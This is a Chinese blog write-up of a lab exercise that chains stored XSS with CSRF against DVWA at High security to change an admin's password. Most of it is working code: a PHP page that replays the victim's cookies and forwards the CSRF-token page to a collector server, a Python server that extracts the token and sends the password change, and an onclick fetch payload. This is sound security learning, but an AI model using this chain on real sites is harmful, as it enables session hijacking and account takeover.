【XSS CSRF 】访问时篡改密码——以DVWA-High为例

news2024/12/23 10:44:52

【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客第一阶段


目录

前言

一、场景想定

二、过程步骤

1.High等级下的CSRF利用

2.XSS+CSRF实现页面访问后密码被修改

三、最终利用——cookie可变下的admin密码修改

1.cookie可变

2.利用过程

总结 


前言

第二阶段,增加了一个CSRF-Token 。关于XSS的利用,cookie的泄露,在上述博客中已很清晰地说明白了~


一、场景想定

攻击者Bob在论坛发送信息

当用户Admin访问查看(或点击)Bob发送地消息时,密码可被Bob任意指定修改。

二、过程步骤

1.High等级下的CSRF利用

每次修改密码时,将各个参数放在get参数发起请求

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=331eed9528723806d29513c3bc84c1bd#

前三者都是完全透明的,而第三者是需要user_token即csrf_token,每次都在变化

实际上,查看网页源代码,可以发现下一次请求时需要拼接的合法csrf_token

下一次请求时: 

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=9d82305d7841188b6f61137bf212774a#

2.XSS+CSRF实现页面访问后密码被修改

自动地构造并发送上述请求,即可实现利用。最大的困难其实很明显:如何获取合法user_token

通过上述网页源码地的方式,可以如下实现:访问 http://127.0.0.1/DVWA-master/vulnerabilities/csrf/ 页面,从请求返回的html中可拿到下一次csrf_token

chat一个php

<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/111';

// 初始化一个 cURL 对象
$ch = curl_init();

// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// 执行 cURL 请求,获取返回的 HTML 代码
$response = curl_exec($ch);

// 关闭 cURL 资源
curl_close($ch);

// 如果成功获取到 HTML 代码,则发送 POST 请求
if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

    // 执行 POST 请求
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>

 chat一个接收request的python http server

import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
    
    # 处理 POST 请求
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        # 解码 URL 编码的数据
        decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
        
        # 使用正则表达式匹配 value 值
        pattern = r"value='(\w+)'"
        matches = re.findall(pattern, decoded_data)

        if matches:
            user_token = matches[0]
            print("提取出的 user_token 值:", user_token)
        else:
            print("未找到匹配的 value 字段")
        
        # 回显提取出的 user_token 值
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(user_token.encode('utf-8'))
        
        print("[+]eceived POST request:")
        print("[+]user_token:", user_token)

        # 在命令行接收用户输入的 new_password
        new_password = input("请输入新密码 new_password: ")

        # 构造访问网页的 URL
        url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
        print(f'[+]构造请求如下:http://127.0.0.1{url}')
        # 发送请求访问网页
        conn = http.client.HTTPConnection("127.0.0.1")
        conn.request("GET", url)
        print("[+]更改密码请求已发送")

# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting HTTP server on port {port}...')
    httpd.serve_forever()

# 运行 HTTP 服务器
run()

然鹅有些问题——每一次的user_token都是一样的猜测是因为没有携带cookie,每次都是全新的请求。

做实验嘛一步步来,先写死cookie试试

<?php
// 目标URL
$url = 'http://127.0.0.1/DVWA-master/vulnerabilities/csrf';

// 初始化一个 cURL 对象
$ch = curl_init();

$requestCookieString = 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high';
// 设置请求头,包含接收到的 Cookie
$requestHeaders = array(
    'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);


// 输出Cookie值到页面
echo "Cookie值: " . $requestCookieString . "<br>";
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 设置请求头
// 执行 cURL 请求,获取返回的 HTML 代码
$response = curl_exec($ch);

// 关闭 cURL 资源
curl_close($ch);

// 如果成功获取到 HTML 代码,则发送 POST 请求
if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

    // 执行 POST 请求
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>

那么我们做请求的时候,自然也需要cookie

import re
import urllib.parse
import http.client
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# 创建一个自定义的请求处理类
class RequestHandler(BaseHTTPRequestHandler):
    
    # 处理 POST 请求
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        
        # 解码 URL 编码的数据
        decoded_data = urllib.parse.unquote(post_data.decode('utf-8'))
        
        # 使用正则表达式匹配 value 值
        pattern = r"value='(\w+)'"
        matches = re.findall(pattern, decoded_data)

        if matches:
            user_token = matches[0]
            print("提取出的 user_token 值:", user_token)
        else:
            print("未找到匹配的 value 字段")
        
        # 回显提取出的 user_token 值
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(user_token.encode('utf-8'))
        
        print("[+]received POST request:")
        print("[+]user_token:", user_token)

        # 在命令行接收用户输入的 new_password
        new_password = input("请输入新密码 new_password: ")

        # 构造访问网页的 URL
        url = f"/DVWA-master/vulnerabilities/csrf/?password_new={new_password}&password_conf={new_password}&Change=Change&user_token={user_token}"
        # 添加Cookie
        headers = {
            'Cookie': 'PHPSESSID=h61cr76dts84lurand2pocqjce; security=high'
        }
        print(f'[+]构造请求如下:http://127.0.0.1{url}')
        # 发送请求访问网页
        conn = http.client.HTTPConnection("127.0.0.1")
        conn.request("GET", url,headers=headers)
        print("[+]更改密码请求已发送")

# 主函数
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8142):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'Starting HTTP server on port {port}...')
    httpd.serve_forever()

# 运行 HTTP 服务器
run()

 

经过测试,可行(但是cookie写死):

  1. 首先触发xss
  2. bob捎带usr_token发送更改密码请求
  3. 成功修改

 

三、最终利用——cookie可变下的admin密码修改

1.cookie可变

其实很简单,利用第一个实验即可。【XSS & CSRF 】泄露cookie——以DVWA-High为例-CSDN博客

修改XSS触发的CSRF-php页面、以及接收cookie\csrf-token的server.py

...........
$ch = curl_init();

$receivedCookies = $_COOKIE;

$requestCookieString = '';
foreach ($receivedCookies as $name => $value) {
    $requestCookieString .= $name . '=' . $value . '; ';
}

$requestHeaders = array(
    'Cookie: ' . $requestCookieString // 将接收到的所有 Cookie 添加到请求头中
);

...........

if ($response) {
    $postData = [
        'html_code' => $response
    ];

    $postUrl = 'http://127.0.0.1:8142';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $postUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $requestHeaders); // 这里设置请求头,传递cookie
    $postResponse = curl_exec($ch);

    // 关闭 cURL 资源
    curl_close($ch);

    // 输出 POST 请求的返回结果
    echo $postResponse;
} else {
    echo 'Failed to retrieve HTML code';
}
?>
...........
    def do_POST(self):
		........
        # 获取请求头中的Cookie
        cookie_header = self.headers.get('Cookie')
        if cookie_header:
            print("[+]接收到的 Cookie:", cookie_header)
        else:
            print("[!]未找到接收到的 Cookie")
		........
        # 使用接收到的Cookie
        headers = {
            'Cookie': cookie_header,
        }
		........
        conn.request("GET", url, headers=headers)
	    ........

2.利用过程

<input onclick="fetch('http://127.0.0.1/combine_cookie_token.php');">

 


总结

从一开始无法利用,到思考需要的条件,一步步实现,对CSRF、XSS的理解更深了。

唯一觉得遗憾的是,chat强大、解放编写代码门槛的同时,也让我编码能力——程序员的核心能力——迟滞不前甚至降低许多。。。唉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1698407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

编写子函数+最大公约数和最小公倍数

目录 计算级数和 判断并找出非素数 主函数操作流程 求最大公约数和最小公倍数 编写子函数&#xff0c;该函数的功能是是计算下列级数和&#xff0c;并将和值返回主调函数输出。数据由主函数输入。 fun 函数 sum 函数 main 函数 注意事项 编写函数&#xff0c;该函数的…

C语言——malloc和free用法和常见误区

最近写了个关于动态数组的代码&#xff0c;遇到了一个大坑&#xff0c;特此记录 先说结论&#xff1a; 1.利用malloc创建堆空间&#xff0c;大小最好设置大一点&#xff0c;不然后面存进去的值需要的空间过大会导致各种的堆、指针问题 2.只能使用realloc对已经创建的空间进行修…

自定义类型:结构体详解

1.结构体 1.1 结构的基础知识 结构是一些值的集合&#xff0c;这些值称为成员变量。一个整型数组&#xff0c;它的每个数组元素只能是整型&#xff0c;字符型的数组它的每个元素只能是字符型。但是结构体的每个成员可以是各种不同类型的变量。 1.2结构的声明 //声明 struct t…

视频拼接融合产品的产品与架构设计(四)分布式GPU运算合并单元

上一篇如下 视频拼接融合产品的产品与架构设计(三&#xff09;内存和显存单元数据迁移 视频合并单元说明 对下面这张图做些说明&#xff0c;视频接入是比较常见&#xff0c;可以说是普通&#xff0c;但是做到接入后随即进行比较重的算法运算&#xff0c;这个在视频领域并不多…

海外抖音TK自动挂机,手机全自动挂机,每天轻松搞2张

海外抖音TK自动挂机&#xff0c;手机全自动挂机&#xff0c;每天轻松搞2张 课程获取方式&#xff1a; https://zzmbk.com/

linux系统部署Oracle11g:netca成功启动后1521端口未能启动问题

一、问题描述 执行netca命令&#xff0c;进入图形化界面&#xff0c;进行Oracle端口监听设置 #终端输入命令 netca 最终提示设置成功&#xff1a; 但是我们进行下一步“创建数据库”的时候会报错&#xff0c;说数据库端口1521未开启&#xff01; 二、问题处理 使用命令查看开…

ubuntu安装samba实现共享文件windows可查看ubuntu中的文件

samba的作用&#xff1a;实现共享linux/ubuntu系统中的文件&#xff0c;在windows直接查看操作ubuntu/linux中的文件、文件夹 1、安装samba sudo apt-get install samba如果不能安装samba&#xff0c;则更新apt-get sudo apt-get upgrade sudo apt-get update sudo apt-get d…

数据库攻防之MySQL

MySQL 是最流行的关系型数据库&#xff0c;与此同时也是 web 应用中最好的关系型数据库管理应用软件。我们在渗透过程中碰到的 PHP 站点大部分都会搭配 MySQL 数据库&#xff0c;因此它是红队攻防中最常遇到的数据库。 0x01 MySQL简介 MySQL 是典型的关系型数据库&#xff0c;…

Go 1.23 Release Notes编写方式改进!

2024.5.22日&#xff0c;Go 1.23 feature冻结&#xff01;Go团队开始Go 1.23rc1的冲刺&#xff0c;截至发文时&#xff0c;Go 1.23 milestone已经完成59%(https://github.com/golang/go/milestone/212)&#xff0c;还有188个open的issue待解决。 Go 1.23有哪些新feature&#x…

【java程序设计期末复习】chapter1 java入门

java入门 java的特点 &#xff08;1&#xff09;简单 Java要比C简单&#xff0c;C中许多容易混淆的概念&#xff0c;或者被Java弃之不用了&#xff0c;或者以一种更清楚更容易理解的方式实现 &#xff08;2&#xff09;面向对象 Java是面向对象的编程语言 &#xff08;3&…

[Vulnhub]Vulnix 通过NFS挂载+SSH公钥免密登录权限提升

端口扫描 Server IP AddressPorts Open192.168.8.103TCP:22/tcp, 25/tcp, 79/tcp, 110/tcp, 111/tcp, 143/tcp, 512/tcp, 513/tcp, 514/tcp, 993/tcp, 995/tcp, 2049/tcp, 37522/tcp, 42172/tcp, 43219/tcp, 47279/tcp, 54227/tcp $ nmap -p- 192.168.8.103 -sV -sC --min-ra…

学 Python 具体能干什么?

Python 是一种功能强大、用途广泛的编程语言&#xff0c;因其简洁易读的语法和丰富的库生态系统而备受欢迎。学习 Python后&#xff0c;你可以从事以下几方面的工作&#xff1a; 1. Web 开发 Python 有很多流行的 Web 框架&#xff0c;如&#xff1a; Django&#xff1a;一个…

导弹初识(一)

目录 导弹初识1 导弹是什么2 导弹的分类2.1 按飞行方式2.2 按发射/目标2.2.1 空空导弹2.2.1 空地导弹2.2.1 地空导弹2.2.1 地地导弹 2.3 按打击目标 3.实例3.1 防空导弹3.2 低空防空导弹武器系统 本文节选自 zh&#xff0c;还有百度百科 导弹初识 1 导弹是什么 导弹两个字拆…

Spring—Spring配置文件概念及应用(实现一个图形验证码)

文章目录 配置文件配置文件作用配置文件的格式配置文件优先级说明配置文件书写代码的格式yml文件代码的格式 Value注解 properties 缺点分析properties VS yml实现一个验证码程序 配置文件 配置文件作用 整个项目的重要信息我们都会配置在配置文件中&#xff0c;比如说我们数…

力扣刷题--448. 找到所有数组中消失的数字【简单】

题目描述 给你一个含 n 个整数的数组 nums &#xff0c;其中 nums[i] 在区间 [1, n] 内。请你找出所有在 [1, n] 范围内但没有出现在 nums 中的数字&#xff0c;并以数组的形式返回结果。 示例 1&#xff1a; 输入&#xff1a;nums [4,3,2,7,8,2,3,1] 输出&#xff1a;[5,6…

计算机网络基本概念

文章目录 情景带入一些基本概念网络网络编程&#xff1a;7层网络模型OSI&#xff1a;TCP/IP Protocol Architecture Layers与OSI的对应关系SocketClient-Server Application报文段&#xff1a;传输协议&#xff1a;Mac地址IP地址端口URL 情景带入 随着时代的发展&#xff0c;我…

数据库系统原理实验报告6 | 视图

整理自博主本科《数据库系统原理》专业课自己完成的实验报告&#xff0c;以便各位学习数据库系统概论的小伙伴们参考、学习。 专业课本&#xff1a; ​ ———— 本次实验使用到的图形化工具&#xff1a;Heidisql ​ 目录 一、实验目的 二、实验内容 1&#xff0e;根据EDUC数…

RTOS(3)极简ARM架构与汇编

1.掌握八条汇编指令即可 读内存loadLDR R0&#xff0c;[addrA]写内存storeSTR R0&#xff0c;[addrA]加ADD R0&#xff0c;R1&#xff0c;R2减SUB R0&#xff0c;R1&#xff0c;R2比较CMP R0&#xff0c;R1跳转B / BL入栈PUSH { R3&#xff0c;LR }出…

知能行——考研数学利器

知能行使用体验全记录 首先&#xff0c;我先介绍一下自己&#xff0c;我是2018级的&#xff0c;2022年6月毕业&#xff0c;本科沈阳工业大学&#xff08;双非&#xff09;&#xff0c;今年二战&#xff0c;专业课自动控制原理&#xff0c;数二英二&#xff0c;目标是江南大学控…

深度学习——自己的训练集——图像分类(CNN)

图像分类 1.导入必要的库2.指定图像和标签文件夹路径3.获取文件夹内的所有图像文件名4.获取classes.txt文件中的所有标签5.初始化一个字典来存储图片名和对应的标签6.遍历每个图片名的.txt文件7.随机选择一张图片进行展示8.构建图像的完整路径9.加载图像10.检查图像是否为空 随…